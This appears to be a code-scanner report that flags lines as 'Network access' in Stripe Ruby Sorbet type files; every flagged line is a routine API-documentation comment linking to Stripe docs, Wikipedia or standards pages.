    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 424
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 425
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 426
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 473
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 474
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 475
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/core/accounts/person_update_params.rbi

  • Network accessline 14
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }             def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 15
    def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 16
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 131
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }             def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 132
    def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 133
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 195
    class Documents < ::Stripe::RequestParams             class CompanyAuthorization < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a p
  • Network accessline 196
    class CompanyAuthorization < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.               s
  • Network accessline 197
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 209
    end             class Passport < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 210
    class Passport < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.               sig { returns
  • Network accessline 211
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 224
    class PrimaryVerification < ::Stripe::RequestParams               class FrontBack < ::Stripe::RequestParams                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verific
  • Network accessline 225
    class FrontBack < ::Stripe::RequestParams                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identi
  • Network accessline 226
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 229
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                 def back=(_back); end                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verifica
  • Network accessline 230
    def back=(_back); end                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The u
  • Network accessline 231
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 237
    def initialize(back: nil, front: nil); end               end               # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 238
    end               # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.               sig {
  • Network accessline 239
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 258
    class SecondaryVerification < ::Stripe::RequestParams               class FrontBack < ::Stripe::RequestParams                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verif
  • Network accessline 259
    class FrontBack < ::Stripe::RequestParams                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identi
  • Network accessline 260
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 263
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                 def back=(_back); end                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verifica
  • Network accessline 264
    def back=(_back); end                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The u
  • Network accessline 265
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 271
    def initialize(back: nil, front: nil); end               end               # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 272
    end               # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.               sig {
  • Network accessline 273
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 291
    end             class Visa < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 292
    class Visa < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.               sig { returns(T::
  • Network accessline 293
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 432
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 433
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 434
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 481
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 482
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 483
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/webhook_endpoint_create_params.rbi

  • Network accessline 30
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 31
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 32
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/webhook_endpoint_update_params.rbi

  • Network accessline 27
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 28
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 29
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/account.rbi

  • Network accessline 8
    # enabled to make live charges or receive payouts.   #   # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 9
    #   # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)   # is `application`, which includes Custom accounts, the properties below are always
  • Network accessline 10
    # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 12
    # returned.   #   # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 13
    #   # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)   # is `stripe`, which includes Standard and Express accounts, some properties are on
  • Network accessline 14
    # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 15
    # is `stripe`, which includes Standard and Express accounts, some properties are only returned   # until you create an [Account Link](https://docs.stripe.com/api/account_links) or [Account Session](https://docs.stripe.com/api/account_sessio
  • Network accessline 16
    # until you create an [Account Link](https://docs.stripe.com/api/account_links) or [Account Session](https://docs.stripe.com/api/account_sessions)
  • Network accessline 17
    # to start Connect Onboarding. Learn about the [differences between accounts](https://docs.stripe.com/connect/accounts).
  • Network accessline 22
    sig { returns(T.nilable(Integer)) }         def amount; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 23
    def amount; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(T.nilable(String)) }
  • Network accessline 24
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 39
    sig { returns(Integer) }         def amount; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 40
    def amount; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 41
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 53
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 54
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 55
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 65
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 66
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 67
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 318
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 319
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 320
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 330
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 331
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 332
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 344
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 345
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 346
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 373
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 374
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 375
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 468
    class Verification < ::Stripe::StripeObject         class Document < ::Stripe::StripeObject           # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verificatio
  • Network accessline 469
    class Document < ::Stripe::StripeObject           # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additional_verification` files are [n
  • Network accessline 470
    # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additional_verification` files are [not downloadable](/file-upload#uploading-a-file).
  • Network accessline 477
    sig { returns(T.nilable(String)) }           def details_code; end           # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additiona
  • Network accessline 478
    def details_code; end           # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additional_verification` files are [not downloadable](
  • Network accessline 479
    # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additional_verification` files are [not downloadable](/file-upload#uploading-a-file).
  • Network accessline 506
    sig { returns(T.nilable(AddressKanji)) }       def address_kanji; end       # Whether the company's directors have been provided. This Boolean will be `true` if you've manually indicated that all directors are provided via [the `directors_p
  • Network accessline 507
    def address_kanji; end       # Whether the company's directors have been provided. This Boolean will be `true` if you've manually indicated that all directors are provided via [the `directors_provided` parameter](https://docs.stripe.com/api
  • Network accessline 508
    # Whether the company's directors have been provided. This Boolean will be `true` if you've manually indicated that all directors are provided via [the `directors_provided` parameter](https://docs.stripe.com/api/accounts/update#update_accou
  • Network accessline 512
    sig { returns(T.nilable(DirectorshipDeclaration)) }       def directorship_declaration; end       # Whether the company's executives have been provided. This Boolean will be `true` if you've manually indicated that all executives are provid
  • Network accessline 513
    def directorship_declaration; end       # Whether the company's executives have been provided. This Boolean will be `true` if you've manually indicated that all executives are provided via [the `executives_provided` parameter](https://docs.
  • Network accessline 514
    # Whether the company's executives have been provided. This Boolean will be `true` if you've manually indicated that all executives are provided via [the `executives_provided` parameter](https://docs.stripe.com/api/accounts/update#update_ac
  • Network accessline 530
    sig { returns(T.nilable(String)) }       def name_kanji; end       # Whether the company's owners have been provided. This Boolean will be `true` if you've manually indicated that all owners are provided via [the `owners_provided` parameter
  • Network accessline 531
    def name_kanji; end       # Whether the company's owners have been provided. This Boolean will be `true` if you've manually indicated that all owners are provided via [the `owners_provided` parameter](https://docs.stripe.com/api/accounts/up
  • Network accessline 532
    # Whether the company's owners have been provided. This Boolean will be `true` if you've manually indicated that all owners are provided via [the `owners_provided` parameter](https://docs.stripe.com/api/accounts/update#update_account-compan
  • Network accessline 536
    sig { returns(T.nilable(OwnershipDeclaration)) }       def ownership_declaration; end       # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stri
  • Network accessline 537
    def ownership_declaration; end       # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-det
  • Network accessline 538
    # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st
  • Network accessline 548
    sig { returns(T.nilable(RepresentativeDeclaration)) }       def representative_declaration; end       # The category identifying the legal structure of the company or legal entity. Also available for accounts where [controller.requirement_c
  • Network accessline 549
    def representative_declaration; end       # The category identifying the legal structure of the company or legal entity. Also available for accounts where [controller.requirement_collection](/api/accounts/object#account_object-controller-re
  • Network accessline 550
    # The category identifying the legal structure of the company or legal entity. Also available for accounts where [controller.requirement_collection](/api/accounts/object#account_object-controller-requirement_collection) is `stripe`. See [Bu
  • Network accessline 581
    class Controller < ::Stripe::StripeObject       class Fees < ::Stripe::StripeObject         # A value indicating the responsible payer of a bundle of Stripe fees for pricing-control eligible products on this account. Learn more about [fee b
  • Network accessline 582
    class Fees < ::Stripe::StripeObject         # A value indicating the responsible payer of a bundle of Stripe fees for pricing-control eligible products on this account. Learn more about [fee behavior on connected accounts](https://docs.stri
  • Network accessline 583
    # A value indicating the responsible payer of a bundle of Stripe fees for pricing-control eligible products on this account. Learn more about [fee behavior on connected accounts](https://docs.stripe.com/connect/direct-charges-fee-payer-beha
  • Network accessline 616
    sig { returns(T.nilable(Fees)) }       def fees; end       # `true` if the Connect application retrieving the resource controls the account and can therefore exercise [platform controls](https://docs.stripe.com/connect/platform-controls-for
  • Network accessline 617
    def fees; end       # `true` if the Connect application retrieving the resource controls the account and can therefore exercise [platform controls](https://docs.stripe.com/connect/platform-controls-for-standard-accounts). Otherwise, this fi
  • Network accessline 618
    # `true` if the Connect application retrieving the resource controls the account and can therefore exercise [platform controls](https://docs.stripe.com/connect/platform-controls-for-standard-accounts). Otherwise, this field is null.
  • Network accessline 702
    end     class Groups < ::Stripe::StripeObject       # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/c
  • Network accessline 703
    class Groups < ::Stripe::StripeObject       # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/p
  • Network accessline 704
    # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/platform-pricing-tools) for details.
  • Network accessline 753
    sig { returns(T.nilable(T::Array[String])) }       def currently_due; end       # If the account is disabled, this enum describes why. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification
  • Network accessline 754
    def currently_due; end       # If the account is disabled, this enum describes why. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification).       sig { returns(T.nilable(String)) }
  • Network accessline 755
    # If the account is disabled, this enum describes why. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification).
  • Network accessline 791
    end       class Branding < ::Stripe::StripeObject         # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px.
  • Network accessline 792
    class Branding < ::Stripe::StripeObject         # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px.         sig { returns(T.nilable(T.any(String, ::Stripe
  • Network accessline 793
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px.
  • Network accessline 794
    sig { returns(T.nilable(T.any(String, ::Stripe::File))) }         def icon; end         # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and witho
  • Network accessline 795
    def icon; end         # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128
  • Network accessline 796
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128px x 128px.
  • Network accessline 876
    sig { returns(T.nilable(String)) }         def display_name; end         # The timezone used in the Stripe Dashboard for this account. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/ti
  • Network accessline 877
    def display_name; end         # The timezone used in the Stripe Dashboard for this account. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones).         sig { returns(T.nilable(
  • Network accessline 878
    # The timezone used in the Stripe Dashboard for this account. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones).
  • Network accessline 904
    sig { returns(T.nilable(String)) }         def statement_descriptor; end         # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/ge
  • Network accessline 905
    def statement_descriptor; end         # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set
  • Network accessline 906
    # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 907
    sig { returns(T.nilable(String)) }         def statement_descriptor_kana; end         # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.
  • Network accessline 908
    def statement_descriptor_kana; end         # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descripto
  • Network accessline 909
    # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 910
    sig { returns(T.nilable(String)) }         def statement_descriptor_kanji; end         # The Kana variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https://
  • Network accessline 911
    def statement_descriptor_kanji; end         # The Kana variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/stateme
  • Network accessline 912
    # The Kana variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descri
  • Network accessline 913
    sig { returns(T.nilable(String)) }         def statement_descriptor_prefix_kana; end         # The Kanji variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](h
  • Network accessline 914
    def statement_descriptor_prefix_kana; end         # The Kanji variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/
  • Network accessline 915
    # The Kanji variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descr
  • Network accessline 1097
    sig { returns(T.nilable(Integer)) }     def created; end     # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://stripe.com/docs
  • Network accessline 1098
    def created; end     # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://stripe.com/docs/payouts).     sig { returns(T.nilable(S
  • Network accessline 1099
    # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://stripe.com/docs/payouts).
  • Network accessline 1125
    sig { returns(T.nilable(::Stripe::Person)) }     def individual; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the obje
  • Network accessline 1126
    def individual; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.ni
  • Network accessline 1127
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 1149
    sig { returns(T.nilable(T::Boolean)) }     def deleted; end     # With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users.
  • Network accessline 1150
    def deleted; end     # With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users.     # To do this, you'll first need to [register your platform](https://dashboard.stripe.com/account/applications/se
  • Network accessline 1151
    # With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users.
  • Network accessline 1152
    # To do this, you'll first need to [register your platform](https://dashboard.stripe.com/account/applications/settings).
  • Network accessline 1153
    #     # If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when     # creating the account. Connect Onboarding won't ask fo
  • Network accessline 1154
    # If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when
  • Network accessline 1162
    # With [Connect](https://docs.stripe.com/connect), you can delete accounts you manage.
  • Network accessline 1164
    # Test-mode accounts can be deleted at any time.     #     # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All othe
  • Network accessline 1165
    #     # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balanc
  • Network accessline 1166
    # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balances](ht
  • Network accessline 1167
    #     # If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead.     sig {
  • Network accessline 1168
    # If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead.
  • Network accessline 1174
    # With [Connect](https://docs.stripe.com/connect), you can delete accounts you manage.
  • Network accessline 1176
    # Test-mode accounts can be deleted at any time.     #     # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All othe
  • Network accessline 1177
    #     # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balanc
  • Network accessline 1178
    # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balances](ht
  • Network accessline 1179
    #     # If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead.     sig {
  • Network accessline 1180
    # If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead.
  • Network accessline 1186
    # Returns a list of accounts connected to your platform via [Connect](https://docs.stripe.com/docs/connect). If you're not a platform, the list is empty.
  • Network accessline 1204
    # With [Connect](https://docs.stripe.com/connect), you can reject accounts that you have flagged as suspicious.
  • Network accessline 1212
    # With [Connect](https://docs.stripe.com/connect), you can reject accounts that you have flagged as suspicious.
  • Network accessline 1220
    # Updates a [connected account](https://docs.stripe.com/connect/accounts) by setting the values of the parameters passed. Any parameters not provided are
  • Network accessline 1221
    # left unchanged.     #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 1222
    #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)     # is application, which includes Custom accounts, you can update any informatio
  • Network accessline 1223
    # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 1224
    # is application, which includes Custom accounts, you can update any information on the account.     #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requir
  • Network accessline 1225
    #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)     # is stripe, which includes Standard and Express accounts, you can update all i
  • Network accessline 1226
    # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 1227
    # is stripe, which includes Standard and Express accounts, you can update all information until you create     # an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connec
  • Network accessline 1228
    # an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connect onboarding,
  • Network accessline 1229
    # after which some properties can no longer be updated.     #     # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our
  • Network accessline 1230
